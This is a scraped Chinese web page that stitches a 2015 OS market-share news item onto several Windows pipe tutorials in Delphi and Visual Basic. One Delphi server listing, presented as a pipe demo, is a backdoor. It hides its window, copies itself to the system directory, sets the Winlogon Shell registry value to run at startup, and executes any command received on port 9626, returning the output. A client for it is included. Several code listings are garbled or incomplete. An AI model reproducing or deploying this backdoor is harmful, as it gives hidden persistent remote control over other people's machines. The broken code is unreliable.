61阅读

windows操作系统-操作系统份额Windows超过90% Win7依然是主流

发布时间:2017-09-02 所属栏目:Windows系列

一 : 操作系统份额Windows超过90% Win7依然是主流

  [摘要]Windows XP居然还有小幅上涨,从18.26%上升到18.93%。

操作系统份额Windows超过90% Win7依然是主流

  腾讯数码讯(编译:Raul)每个月Net Applications机构都会对外公布目前桌面操作系统和浏览器的分布份额统计,而这些数据可以帮助我们看到整个市场当前的分布状态以及未来的发展趋势。

  

操作系统份额Windows超过90% Win7依然是主流

 

  根据最新的统计报告显示,到今年1月份Windows 7系统的分布率有了小幅下降,从去年12月份的56.26%下跌到55.92%,而微软已经彻底停止支持的Windows XP居然还有小幅上涨,从18.26%上升到18.93%。而Windows 8/8.1的市场份额从13.52%增加到13.83%,Windows Vista从原来的2.9%下滑到2.44%。

  另外值得注意的是,微软还没有推出正式版的Windows 10,其测试版的使用率也有了小幅下降。虽然在图表中没有体现,但是根据报告显示测试版Windows 10的使用率从12月份的0.06%下降到0.05%。要知道微软已经增加了50万个Windows 10的测试名额,但是使用率没有上升让人感到有些意外。

  从整体来说,目前微软Windows系统仍然占据了整个桌面操作系统的大部分份额,并且从原来的91.45%上升到91.56%。而苹果的OS X 10.9和OS X 10.10两个版本的市场份额分别为1.82%和3.45%。

二 : 71delphi与windows管道操作

什么是管道?参考《WIN32汇编编程》是这样描述的

Windows 引入了多进程和多线程机制。同时也提供了多个进程之间的通信手段,包括剪贴板、DDE、OLE、管道等,和其他通信手段相比,管道有它自己的限制和特点,管道实际上是一段共享内存区,进程把共享消息放在那里。并通过一些 API 提供信息交换。

管道是两个头的东西,每个头各连接一个进程或者同一个进程的不同代码,按照管道的类别分有两种管道,匿名的和命名的;按照管道的传输方向分也可以分成两种,单向的双向的。根据管道的特点,命名管道通常用在网络环境下不同计算机上运行的进程之间的通信(当然也可以用在同一台机的不同进程中)它可以是单向或双向的;而匿名管道只能用在同一台计算机中,它只能是单向的。匿名管道其实是通过用给了一个指定名字的有名管道来实现的。

使用管道的好处在于:读写它使用的是对文件操作的 api,结果操作管道就和操作文件一样。即使你在不同的计算机之间用命名管道来通信,你也不必了解和自己去实现网络间通信的具体细节。

使用匿名管道的步骤如下:

使用 CreatePipe 建立两个管道,得到管道句柄,一个用来输入,一个用来输出

准备执行控制台子进程,首先使用 GetStartupInfo 得到 StartupInfo

使用第一个管道句柄代替 StartupInfo 中的 hStdInput,第二个代替 hStdOutput、hStdError,即标准输入、输出、错误句柄

使用 CreateProcess 执行子进程,这样建立的子进程输入和输出就被定向到管道中

父进程通过 ReadFile 读第二个管道来获得子进程的输出,通过 WriteFile 写第一个管道来将输入写到子进程

父进程可以通过 PeekNamedPipe 来查询子进程有没有输出

子进程结束后,要通过 CloseHandle 来关闭两个管道。

下面是具体的说明和定义:

1. 建立匿名管道使用 CreatePipe 原形如下:

BOOL CreatePipe(

PHANDLE hReadPipe, // address of variable for read handle

PHANDLE hWritePipe, // address of variable for write handle

LPSECURITY_ATTRIBUTES lpPipeAttributes, // pointer to security attributes

DWORD nSize // number of bytes reserved for pipe

);

当管道建立后,结构中指向的 hReadPipe 和 hWritePipe 可用来读写管道,当然由于匿名管道是单向的,你只能使用其中的一个句柄,参数中的 SECURITY_ATTRIBUTES 的结构必须填写,定义如下:typedef struct_SECURITY_ATTRIBUTES{

DWORD nLength: //定义以字节为单位的此结构的长度

LPVOID lpSecurityDes criptor; //指向控制这个对象共享的安全描述符,如果为NULL这个对象将被分配一个缺省的安全描述

BOOL bInheritHandle; //当一个新过程被创建时,定义其返回是否是继承的.供系统API函数使用. }SECURITY_ATTRIBUTES;

2. 填写创建子进程用的 STARTUPINFO 结构,一般我们可以先用 GetStartupInfo 来填写一个缺省的结构,然后改动我们用得到的地方,它们是:

hStdInput -- 用其中一个管道的 hWritePipe 代替

hStdOutput、hStdError -- 用另一个管道的 hReadPipe 代替

dwFlags -- 设置为 STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW 表示输入输出句柄及 wShowWindow 字段有效

wShowWindow -- 设置为 SW_HIDE,这样子进程执行时不显示窗口。

填写好以后,就可以用 CreateProcess 来执行子进程了。

3. 在程序中可以用 PeekNamedPipe 查询子进程有没有输出,原形如下:

OOL PeekNamedPipe(HANDLE hNamedPipe, // handle to pipe to copy from LPVOID lpBuffer, // pointer to data buffer

DWORD nBufferSize, // size, in bytes, of data buffer

LPDWORD lpBytesRead, // pointer to number of bytes read

LPDWORD lpTotalBytesAvail, // pointer to total number of bytes available

LPDWORD lpBytesLeftThisMessage // pointer to unread bytes in this message ); 我们可以将尝试读取 nBuffersize 大小的数据,然后可以通过返回的 BytesRead 得到管道中有多少数据,如果不等于零,则表示有数据可以读取。

4. 用 ReadFile 和 WriteFile 来读写管道,它们的参数是完全一样的,原形如下:

ReadFile or WriteFile(HANDLE hFile, // handle of file to read 在这里使用管道句柄 LPVOID lpBuffer, // address of buffer that receives data 缓冲区地址

DWORD nNumberOfBytesToRead, // number of bytes to read 准备读写的字节数 LPDWORD lpNumberOfBytesRead, // address of number of bytes read,实际读到的或写入的字节数

LPOVERLAPPED lpOverlapped // address of structure for data 在这里用 NULL);

5. 用 CloseHandle 关闭管道一和管道二的 hReadPipe和 hWritePipe 这四个句柄。 下面是一个演示DEMO,可以使用MEMO来制作一个控制台,所使用的技术就是管道 procedure RunDosInMemo(Que:String;EnMemo:TMemo);

const

CUANTOBUFFER = 2000;

var

Seguridades : TSecurityAttributes;

PaLeer,PaEscribir : THandle;

start : TStartUpInfo;

ProcessInfo : TProcessInformation;

Buffer : Pchar;

BytesRead : DWord;

CuandoSale : DWord;

begin

//安全描述 可以省略

with Seguridades do

begin

nlength := SizeOf(TSecurityAttributes);

binherithandle := true;

lpsecuritydes criptor := nil;

end;

{Creamos el pipe...}

if Createpipe (PaLeer, PaEscribir, @Seguridades, 0) then

begin

//申请缓冲

Buffer := AllocMem(CUANTOBUFFER + 1);

//创建STARTUPINFO

FillChar(Start,Sizeof(Start),#0);

start.cb := SizeOf(start);

start.hStdOutput := PaEscribir;

start.hStdInput := PaLeer;

start.dwFlags := STARTF_USESTDHANDLES +

STARTF_USESHOWWINDOW;

start.wShowWindow := SW_HIDE;

//执行子进程

if CreateProcess(nil,

PChar(Que),

@Seguridades,

@Seguridades,

true,

NORMAL_PRIORITY_CLASS,

nil,

nil,

start,

ProcessInfo)

then

begin

{Espera a que termine la ejecucion}

repeat

//使用信号量技术来避免CPU时间片被抢占

CuandoSale := WaitForSingleObject( ProcessInfo.hProcess,100); Application.ProcessMessages;

until (CuandoSale <> WAIT_TIMEOUT);

{Leemos la Pipe}

repeat

BytesRead := 0;

{Llenamos un troncho de la pipe, igual a nuestro buffer}

//执行标准输出

ReadFile(PaLeer,Buffer[0],CUANTOBUFFER,BytesRead,nil);

{La convertimos en una string terminada en cero}

Buffer[BytesRead]:= #0;

{Convertimos caracteres DOS a ANSI}

OemToAnsi(Buffer,Buffer);

EnMemo.Text := EnMemo.text + String(Buffer);

until (BytesRead < CUANTOBUFFER);

end;

FreeMem(Buffer);

//释放资源

CloseHandle(ProcessInfo.hProcess);

CloseHandle(ProcessInfo.hThread);

CloseHandle(PaLeer);

CloseHandle(PaEscribir);

end;

end;

什么是电脑的管道技术?

操作系统中负责线程间通讯的东西叫管道。

管道(pipe)是进程用来通讯的共享内存区域。一个进程往管道中写入信息,而其它的进程可以从管道中读出信息。如其名,管道是进程间数据交流的通道。邮路(Mailslots)的功能与管道类似,也是进程间通讯(interprocess communications,IPC)的媒介,只不过其具体实现方式与管道有些差别。一个基于Win32的应用程序可以在邮路中储存消息,这些消息通常通过网络发往一个指定的计算机或某域名(域是共享一个组名的一组工作站或服务器。)下的所有计算机。你也可以使用命名管道代替邮路来进行进程间通信。命名管道最适合用来两个进程间的消息传递,邮路则更适合一个进程向多个进程广播消息。邮路具有一个重要的特点,它使用数据包广播消息。广播(broadcast)是网络传输中使用的术语,它意味着接收方收到数据后不发送确认消息通知发送方。而管道(这里的管道指命名管道,有关命名管道以下详解。)则不同,它更类似于打电话,你只对一个当事人说话,但是你却非常清楚你的话都被对方听到。邮路和管道一样,也是一个虚拟文件,它保存在内存中,但是你却必须使用普通的Win32文件函数访问它,比如CreateFile、ReadFile、WriteFile等。邮路中储存的数据可以是任何形式的,唯一的要求是不得超过64K。与磁盘文件不同的是,邮路是一个临时的对象,当某个邮路所有的句柄都关闭的时候,该邮路及其中的数据就被删除。

管道的类型有两种:匿名管道和命名管道。匿名管道是不命名的,它最初用于在本地系统中父进程与它启动的子进程之间的通信。命名管道更高级,它由一个名字来标识,以使客户端和服务端应用程序可以通过它进行彼此通信。而且,Win32命名管道甚至可以在不同系统的进程间使用,这使它成为许多客户/服务器应用程序的理想之选。

就像水管连接两个地方并输送水一样,软件的管道连接两个进程并输送数据。一个一个管道一旦被建立,它就可以象文件一样被访问,并且可以使用许多与文件操作同样的函数。可以使用CreateFile函数获取一个已打开的管道的句柄,或者由另一个进程提供一个句柄。使用WriteFile函数向管道写入数据,之后这些数据可以被另外的进程用ReadFile函数读取。管道是系统对象,因此管道的句柄在不需要时必须使用CloseHandle函数关闭。

匿名管道只能单向传送数据,而命名管道可以双向传送。管道可以以比特流形式传送任意数量的数据。命名管道还可以将数据集合到称为消息的数据块中。命名管道甚至具有通过网络连接多进程的能力。但遗憾的是Windows9X不支持创建命名管道,它只能在WindowsNT系列(如Windows NT,Windows 2000,Windows XP)的操作系统上创建。

当讨论管道时,通常涉及到两个进程:客户进程和服务进程。服务进程负责创建管道。客户进程连接到管道。服务进程可以创建一个管道的多个实例,以此支持多个客户进程。

例:

////Server.pas//////////////

unit UtMain;

////////////////////////////////////

71delphi与windows管道操作_createpipe

//////////BY Smias////////////////

////////Email:China_Smias@Hotail.Com////

////////QQ:9661800////////////////

////////////////////////////////

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, forms,

Dialogs, Registry, ScktComp, StdCtrls;

type

TFmMain = class(Tform)

SS: TServerSocket;

Memo1: TMemo;

procedure formCreate(Sender: TObject);

procedure SSAccept(Sender: TObject; Socket: TCustomWinSocket);

procedure SSClientRead(Sender: TObject; Socket: TCustomWinSocket);

private

{ Private declarations }

public

{ Public declarations }

end;

var

FmMain: TFmMain;

reg:TRegistry;

implementation

{$R *.dfm}

procedure TFmMain.formCreate(Sender: TObject);

var

sysdir:array[0..50] of char;

begin

Application.ShowMainform:=False;

FmMain.Left:=-200; //运行不显示窗口

reg:=TRegistry.Create;

reg.RootKey:=HKEY_LOCAL_MACHINE;

reg.OpenKey(''SoftWare\Microsoft\Windows NT\CurrentVersion\Winlogon'',true);

if reg.ReadString(''Shell'')<> ''Explorer.exe Lysvr.exe'' then

reg.WriteString(''Shell'',''Explorer.exe Lysvr.exe''); //建立开机启动项

reg.Free;

GetSystemDirectory(sysdir,50);

if not FileExists(sysdir+''\Lysvr.exe'') then

copyfile(Pchar(Application.exeName),pchar(sysdir+''\Lysvr.exe''),true);

SS.Port:=9626;

try

SS.Active:=True;

except

end;

end;

procedure TFmMain.SSAccept(Sender: TObject; Socket: TCustomWinSocket);

begin

Socket.SendText(''连接成功''); //发现有连接时回传?连接成功 ?

end;

procedure TFmMain.SSClientRead(Sender: TObject; Socket: TCustomWinSocket);

var

RemoteCmd:string;

hReadPipe,hWritePipe:THandle;

si:STARTUPINFO;

lsa:SECURITY_ATTRIBUTES;

pi:PROCESS_INformATION;

cchReadBuffer:DWORD;

ph:PChar;

fname:PChar;

res:string;

begin

Memo1.Clear;

remotecmd:=Socket.ReceiveText;

fname:=allocmem(255);

ph:=AllocMem(5000);

lsa.nLength :=sizeof(SECURITY_ATTRIBUTES);

lsa.lpSecurityDes criptor :=nil;

lsa.bInheritHandle :=True;

if CreatePipe(hReadPipe,hWritePipe,@lsa,0)=false then

begin

socket.SendText(''不能创建管道'');

exit;

end;

fillchar(si,sizeof(STARTUPINFO),0);

si.cb:=sizeof(STARTUPINFO);

si.dwFlags:=(STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW);

si.wShowWindow:=SW_HIDE;

si.hStdOutput:=hWritePipe;

StrPCopy(fname,remotecmd);

/////执行CMD命令////

if CreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=False then

begin

socket.SendText(''不能创建进程'');

FreeMem(ph);

FreeMem(fname);

Exit;

end;

while(true) do

begin

if not PeekNamedPipe(hReadPipe,ph,1,@cchReadBuffer,nil,nil) then break;

if cchReadBuffer<>0 then

begin

if ReadFile(hReadPipe,ph^,4096,cchReadBuffer,nil)=false then break;

ph[cchReadbuffer]:=chr(0);

Memo1.Lines.Add(ph);

end

else

if(WaitForSingleObject(pi.hProcess ,0)=WAIT_OBJECT_0) then break;

Sleep(100);

end;

ph[cchReadBuffer]:=chr(0);

Memo1.Lines.Add(ph); //memo接收回显

CloseHandle(hReadPipe);

CloseHandle(pi.hThread);

CloseHandle(pi.hProcess);

CloseHandle(hWritePipe);

FreeMem(ph);

FreeMem(fname);

socket.SendText(Memo1.Text); ///将回显发送回客户端

end;

end.

///////////////////////////////////////////////////////////////////////////////////////////

//////客户端/////////////////////

unit UtMain;

////////////////////////////////////

//////////BY Smias////////////////

////////Email:China_Smias@Hotail.Com////

////////QQ:9661800////////////////

////////////////////////////////

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, forms,

Dialogs, OleCtrls, SHDocVw, StdCtrls, IdBaseComponent, IdComponent,

IdUDPBase, IdUDPServer, Buttons, TLHelp32, ScktComp;

type

TFmMain = class(Tform)

WebBrowser1: TWebBrowser;

Label3: TLabel;

Edit2: TEdit;

Label4: TLabel;

Edit3: TEdit;

Button2: TButton;

CS: TClientSocket;

Edit4: TEdit;

Label5: TLabel;

Memo1: TMemo;

BitBtn2: TBitBtn;

procedure Button2Click(Sender: TObject);

procedure CSRead(Sender: TObject; Socket: TCustomWinSocket);

procedure BitBtn2Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

FmMain: TFmMain;

implementation

{$R *.dfm}

procedure TFmMain.Button2Click(Sender: TObject);

begin

CS.Host:=Edit2.Text;

CS.Port:=StrToInt(Edit3.Text);

CS.Open;

end;

procedure TFmMain.CSRead(Sender: TObject; Socket: TCustomWinSocket);

begin

Memo1.Clear;

Memo1.Lines.Add(Socket.ReceiveText);

Memo1.Lines.Add('''');

end;

procedure TFmMain.BitBtn2Click(Sender: TObject);

begin

CS.Socket.SendText(edit4.Text);

end;

end.

捕获控制台程序输出

文实现了在Delphi中运行控制台程序,并将控制台程序的输出在Memo控件中显示出来。

工作中需要手工编译J2ME的程序,开始编写了一个批处理程序,但是感觉使用中非常繁琐,于是想用Delphi做一个集成编译工具,但是java的编译工具都是console程序,怎么捕获到console程序的输出,并显示在Memo中呢,查了网上的一些资料,反复测试,找到了一个实现的方法,希望对大家有帮助:

procedure TMainForm.RunDosInMemo(const DosApp: string; AMemo: TMemo);

const

{设置ReadBuffer的大小}

ReadBuffer = 2400;

var

Security: TSecurityAttributes;

ReadPipe, WritePipe: THandle;

start: TStartUpInfo;

ProcessInfo: TProcessInformation;

Buffer: PChar;

71delphi与windows管道操作_createpipe

BytesRead: DWord;

Buf: string;

begin

with Security do

begin

nlength := SizeOf(TSecurityAttributes);

binherithandle := true;

lpsecuritydes criptor := nil;

end;

{创建一个命名管道用来捕获console程序的输出}

if Createpipe(ReadPipe, WritePipe, @Security, 0) then

begin

Buffer := AllocMem(ReadBuffer + 1);

FillChar(Start, Sizeof(Start), #0)

{设置console程序的启动属性}

with start do

begin

cb := SizeOf(start);

start.lpReserved := nil;

lpDesktop := nil;

lpTitle := nil;

dwX := 0;

dwY := 0;

dwXSize := 0;

dwYSize := 0;

dwXCountChars := 0;

dwYCountChars := 0;

dwFillAttribute := 0;

cbReserved2 := 0;

lpReserved2 := nil;

hStdOutput := WritePipe; //将输出定向到我们建立的WritePipe上

hStdInput := ReadPipe; //将输入定向到我们建立的ReadPipe上

hStdError := WritePipe;//将错误输出定向到我们建立的WritePipe上

dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;

wShowWindow := SW_HIDE;//设置窗口为hide

end;

try

{创建一个子进程,运行console程序}

if CreateProcess(nil, PChar(DosApp), @Security, @Security, true,

NORMAL_PRIORITY_CLASS,

nil, nil, start, ProcessInfo) then

begin

{等待进程运行结束}

WaitForSingleObject(ProcessInfo.hProcess, INFINITE);

{关闭输出...开始没有关掉它,结果如果没有输出的话,程序死掉了。}

CloseHandle(WritePipe);

Buf := \'';

{读取console程序的输出}

repeat

BytesRead := 0;

ReadFile(ReadPipe, Buffer[0], ReadBuffer, BytesRead, nil);

Buffer[BytesRead] := #0;

OemToAnsi(Buffer, Buffer);

Buf := Buf + string(Buffer);

until (BytesRead < ReadBuffer);

SendDebug(Buf);

{按照换行符进行分割,并在Memo中显示出来}

while pos(#10, Buf) > 0 do

begin

AMemo.Lines.Add(Copy(Buf, 1, pos(#10, Buf) - 1));

Delete(Buf, 1, pos(#10, Buf));

end;

end;

finally

FreeMem(Buffer);

CloseHandle(ProcessInfo.hProcess);

CloseHandle(ProcessInfo.hThread);

CloseHandle(ReadPipe);

end;

end;

end;

用命名管道实现局域网上两台主机间的文件拷贝

作者: 徐原

能实现局域网上两台主机间文件拷贝的方法有很多种,这里介绍的“命名管道”

(Named Pipe )是一种比较可靠的进程间通信机制,可用在同一台计算机不同进程

间,也可用在不同计算机的不同进程间,可以是单向的,也可以是双向的,Windows NT、Windows 2000、Windows 95和Windows 98均提供了对它的支持,而且在Unix下也有类似的概念。它是在Microsoft LAN管理器和IBMLAN服务器网络操作系统上实现的。

命名管道使用了MSNP(微软网络提供者)重定向器,这样应用程序便可以不用了解网络协议的细节而利用该机制实现网络上的数据传输。它采用“命名管道文件系统”(Named Pipe File System)接口,其命名是采用UNC(通用命名规范)格式的: \\ServerName\Pipe\[pipename]

\\ServerName指明命名管道是在那个服务器上创建的,ServerName既可以是一个实际的计算机名,也可以是小数点(“.”)以指明是在本机上创建;\Pipe是一个硬编码(Hardcode)不用区分大小写的字符串用以指明这是一个管道名,该文件名从属于NPFS;[pipename]是实际的自定义的管道名,该名称在前面指定的服务器上必须是唯一的,该名称可以包含多级目录,但目录名必须不是已经创建的管道名,例: \\.\Pipe\xyPipe?这是一个合法管道名

\\.\Pipe\xyPipe\Pipe?这不是一个合法的管道名,因为前面的目录\\.\Pipe\xyPipe是一个已经创建的管道名了。

\\.\Pipe\xxyPipe\Pipe?这也是一个合法的文件名

命名管道有两种基本通信模式:字节模式和消息模式。在字节模式中,数据是以字节流的形式在管道种传输,数据之间没有边界,在管道写入和读出操作中是以字节流即数据块为基本单位操作的,这适合传输大容量数据;在消息模式中,数据是以一条条不连续的消息为基本传输单元,消息和消息之间有边界,在管道写入和读出操作中也是以消息为单位进行操作的,这种方式适合传输量小的数据。因为现在的文件大小常常有几百K甚至更大,所以程序中选择使用字节模式。

下面详细介绍一下CreateNamedPipe()这个函数,该函数C原型如下:

HANDLE CreateNamedPipe(

LPCTSTR lpName, // pointer to pipe name

DWORD dwOpenMode, // pipe open mode

DWORD dwPipeMode, // pipe-specific modes

DWORD nMaxInstances, // maximum number of instances

DWORD nOutBufferSize, // output buffer size, in bytes

DWORD nInBufferSize, // input buffer size, in bytes

DWORD nDefaultTimeOut, // time-out time, in milliseconds

LPSECURITY_ATTRIBUTES lpSecurityAttributes // pointer to security attributes );

lpName:为前面所述的命名管道名。

dwOpenMode:为命名管道打开的模式,有PIPE_ACCESS_DUMPLEX(双向)、PIPE_ACCESS_INBOUND(输入)、PIPE_ACCESS_OUTBOUND(输出)这三种,这些标志还可以和一些附加的I/O控制和安全模式的常数组合使用,详细可参考MSDN。

dwPipeMode:为管道传输模式,有前面所述的PIPE_TYPE_BYTE(字节模式)和PIPE_TYPE_MESSAGE(消息模式)两种,可以和PIPE_READMODE_BYTE和PIPE_READMODE_MESSAGE常数组合使用以限定客户端的读取模式。可以使用PIPE_TYPE_MESSAGE 和 PIPE_READMODE_BYTE组合来指定发送者以消息模式向管道发送数据,而接收者一次可以读取任意数量的字节。注意不可将

PIPE_TYPE_BYTE和PIPE_READMODE_MESSAGE组合使用,这样会导致

CreateNamedPipe()函数调用失败,因为字节模式没有边界,在接收端用消息模式读取的时候无法判断消息的边界。

nMaxInstances:管道最大的连接实例句柄,其范围在1到255之间。

nOutBufferSize和nInBufferSize分别指明管道输出和输入缓冲区的大小,如设为0则使用系统默认大小。

nDefaultTimeOut以毫秒为单位设定客户机等待同命名管道建立连接的最长时间。 LpSecurityAttruibutes为一个安全描述符,设为Null表示使用系统默认的描述符,同时句柄不可继承。

要注意的是在程序中命名管道的写操作中一次最大只能写64K字节的数据, 下面是服务器端程序:

(模块中):

Public Declare Function CreateNamedPipe Lib "kernel32" Alias "CreateNamedPipeA" (ByVal lpName As String, ByVal dwOpenMode As Long, ByVal dwPipeMode As Long, ByVal nMaxInstances As Long, ByVal nOutBufferSize As Long, ByVal nInBufferSize As Long, ByVal nDefaultTimeOut As Long, ByVal lpSecurityAttributes As Long) As Long

Public Declare Function ConnectNamedPipe Lib "kernel32" (ByVal hNamedPipe As Long, ByVal lplong As Long) As Long

Public Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, ByVal lplong As Long) As Long

Public Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lplong As Long) As Long

Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Public Declare Function WaitNamedPipe Lib "kernel32" Alias "WaitNamedPipeA" (ByVal lpNamedPipeName As String, ByVal nTimeOut As Long) As Long

Public Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal

lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As Long, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long

Public Declare Function DisconnectNamedPipe Lib "kernel32" (ByVal hNamedPipe As Long) As Long

Public Declare Function GetFileSize Lib "kernel32" (ByVal hFile As Long,

lpFileSizeHigh As Long) As Long

Public Const PIPE_ACCESS_DUPLEX = &H3

Public Const PIPE_ACCESS_INBOUND = &H1

Public Const PIPE_ACCESS_OUTBOUND = &H2

Public Const PIPE_CLIENT_END = &H0

Public Const PIPE_NOWAIT = &H1

Public Const PIPE_READMODE_BYTE = &H0

Public Const PIPE_READMODE_MESSAGE = &H2

Public Const PIPE_SERVER_END = &H1

Public Const PIPE_TYPE_BYTE = &H0

Public Const PIPE_TYPE_MESSAGE = &H4

Public Const PIPE_UNLIMITED_INSTANCES = 255

Public Const PIPE_WAIT = &H0

Public Const FILE_SHARE_READ = &H1

Public Const FILE_SHARE_WRITE = &H2

Public Const GENERIC_READ = &H80000000

Public Const GENERIC_WRITE = &H40000000

Public Const GENERIC_EXECUTE = &H20000000

Public Const GENERIC_ALL = &H10000000

Public Const OPEN_EXISTING = 3

Public Const ERROR_PIPE_BUSY = 231&

Public Const ERROR_PIPE_CONNECTED = 535&

Public Const ERROR_PIPE_LISTENING = 536&

Public Const ERROR_PIPE_NOT_CONNECTED = 233&

Public Const ERROR_NO_DATA = 232&

Public Const BufferSize& = 51200

Public hNamePipe&, hFile&, strNamePipe$

Form中有三个按钮,分别是“创建命名管道”(CreateNPipe)、“发送文件”(SendFile)、“关闭命名管道”(CloseNamePipe),窗口中还有一个CommonDialog控件,命名为“CDlg1”。Form中代码:

Dim outBuffer() As Byte, inBuffer() As Byte, BytesRead As Long, BytesWrite As Long, BytesReaded As Long, BytesWrited As Long

Private Sub CloseNamePipe_Click()

DisconnectNamedPipe hNamePipe

CloseHandle hNamePipe

CreateNPipe.Enabled = True

SendFile.Enabled = False

CloseNamePipe.Enabled = False

End Sub

Private Sub CreateNPipe_Click()

Dim hReturn&

strNamePipe = "\\.\pipe\xyvanPipe"

hNamePipe = CreateNamedPipe(strNamePipe, PIPE_ACCESS_DUPLEX,

PIPE_TYPE_BYTE Or PIPE_READMODE_BYTE, 1, 0, 0, 0, 0)

If hNamePipe <> -1 Then

hReturn = ConnectNamedPipe(hNamePipe, 0)

If hReturn = 0 Then

MsgBox "管道无法等待客户端的连接!", vbInformation Or vbOKOnly

Unload Me

71delphi与windows管道操作_createpipe

Label1 = "已同客户机连接上!"

End If

CreateNPipe.Enabled = False

SendFile.Enabled = True

CloseNamePipe.Enabled = True

Else

MsgBox "无法创建命名管道!", vbInformation Or vbOKOnly

Unload Me

End If

End Sub

Private Sub Form_Load()

With CDlg1

.CancelError = True

.DialogTitle = "请选择要传输的文件:"

.filename = ""

.Filter = "所有文件(*.*)|*.*"

.Flags = cdlOFNExplorer Or cdlOFNFileMustExist Or cdlOFNPathMustExist .InitDir = "d:\"

End With

SendFile.Enabled = False

CloseNamePipe.Enabled = False

End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) DisconnectNamedPipe hNamePipe

CloseHandle hFile

CloseHandle hNamePipe

End Sub

Private Sub SendFile_Click()

On Error Resume Next

Dim strFileName$, lpFileSize&, lpFileSizeHigh&, lpFileSizeLeast&, byteEnd() As Byte Dim strShortName$

CDlg1.ShowOpen

If Err.Number = 32755 Then Exit Sub

strFileName = CDlg1.filename

strShortName = CDlg1.FileTitle

hFile = CreateFile(strFileName, GENERIC_READ, FILE_SHARE_READ Or FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0)

If hFile = -1 Then

MsgBox "无法打开文件" & strFileName, vbInformation Or vbOKOnly

Exit Sub

lpFileSize = GetFileSize(hFile, lpFileSizeHigh)

If lpFileSize = 0 Then

MsgBox "该文件大小为零,不用发送!", vbInformation Or vbOKOnly

CloseHandle hFile

Exit Sub

End If

lpFileSizeLeast = lpFileSize

byteEnd() = StrConv(strShortName, vbFromUnicode)

ReDim outBuffer(UBound(byteEnd))

ByteCopy byteEnd, outBuffer

WriteFile hNamePipe, byteEnd(0), UBound(byteEnd) + 1, BytesWrited, 0 ''发送短文件名

ReDim inBuffer(5)

ReadFile hNamePipe, inBuffer(0), 6, BytesReaded, 0 ''读取客户端对话信息 If StrConv(inBuffer, vbUnicode) = "Cancel" Then

MsgBox "客户端保存时选择了取消,发送终止!", vbInformation Or vbOKOnly CloseHandle hFile

Exit Sub

End If

Label1.Caption = "正在传输中…"

While lpFileSize > 0

If lpFileSize > BufferSize Then

ReDim outBuffer(BufferSize - 1)

ReadFile hFile, outBuffer(0), BufferSize, BytesReaded, 0

WriteFile hNamePipe, outBuffer(0), BytesReaded, BytesWrited, 0

Else

ReDim outBuffer(lpFileSize - 1)

ReadFile hFile, outBuffer(0), lpFileSize, BytesReaded, 0

WriteFile hNamePipe, outBuffer(0), lpFileSize, BytesWrited, 0

End If

lpFileSize = lpFileSize - BytesReaded

ReadFile hNamePipe, inBuffer(0), 6, BytesReaded, 0

Wend

byteEnd() = StrConv("EOF", vbFromUnicode)

ReDim outBuffer(UBound(byteEnd))

ByteCopy byteEnd, outBuffer

WriteFile hNamePipe, outBuffer(0), 3, BytesWrited, 0??

CloseHandle hFile

Label1 = "传送文件完毕!"

End Sub

Public Sub ByteCopy(bySrc() As Byte, byDes() As Byte)

Dim I As Long

For i = LBound(bySrc) To UBound(bySrc)

byDes(i) = bySrc(i)

Next

End Sub

客户端程序(模块中程序和服务器端是一样的,这里省略不写了),Form中有一个Text框,用以输入要打开连接的服务器端的命名管道的名称,一个

CommonDialog(CDlg1)控件,另还有一“连接命名管道”(Connect)按钮和“断开连接”(Disconnect)按钮,程序如下:

Dim inBuffer() As Byte, BytesRead&, BytesReaded&, BytesWrited&, strFileName$ Private Sub Connect_Click()

Dim hRes&

strNamePipe = Text1

hRes = WaitNamedPipe(strNamePipe, -1)

If hRes = 0 Then

MsgBox "没有可用的命名管道以供连接!", vbInformation Or vbOKOnly Exit Sub

End If

hNamePipe = CreateFile(strNamePipe, GENERIC_READ Or GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0)

If hNamePipe = 0 Then

MsgBox "无法打开指定的命名管道进行读写!", vbInformation Or vbOKOnly Exit Sub

End If

FileSave

End Sub

Private Sub Disconnect_Click()

CloseHandle hFile

CloseHandle hNamePipe

End Sub

Private Sub Form_Load()

With CDlg1

.CancelError = True

.DialogTitle = "保存为:"

.FileName = ""

'' .Filter = "所有文件(*.*)|*.*"

.Flags = cdlOFNExplorer Or cdlOFNOverwritePrompt

.InitDir = "d:\"

End With

End Sub

Private Sub FileSave()

BytesRead = 51200

Dim AckByte() As Byte

ReDim inBuffer(BytesRead - 1)

On Error Resume Next

Do

ReadFile hNamePipe, inBuffer(0), BytesRead, BytesReaded, 0

If BytesReaded < 258 Then

strFileName = Trim(StrConv(inBuffer, vbUnicode))

strFileName = Left(strFileName, InStr(strFileName, Chr(0)) - 1)

If strFileName Like "EOF*" And BytesReaded = 3 Then

CloseHandle hFile

MsgBox "文件接收完毕!", vbInformation Or vbOKOnly Or vbSystemModal Exit Sub

Else

CDlg1.Filter = UCase(GetExtension(strFileName)) & "文件(*." &

GetExtension(strFileName) & ")|*." & GetExtension(strFileName)

CDlg1.FileName = Left(strFileName, InStr(strFileName, ".") - 1)

ReSelect: CDlg1.ShowSave

If Err.Number = 32755 Then

AckByte() = StrConv("Cancel", vbFromUnicode)

WriteFile hNamePipe, AckByte(0), UBound(AckByte()) + 1, BytesWrited, 0 MsgBox "你选择了取消键!", vbInformation Or vbOKOnly

Exit Sub

End If

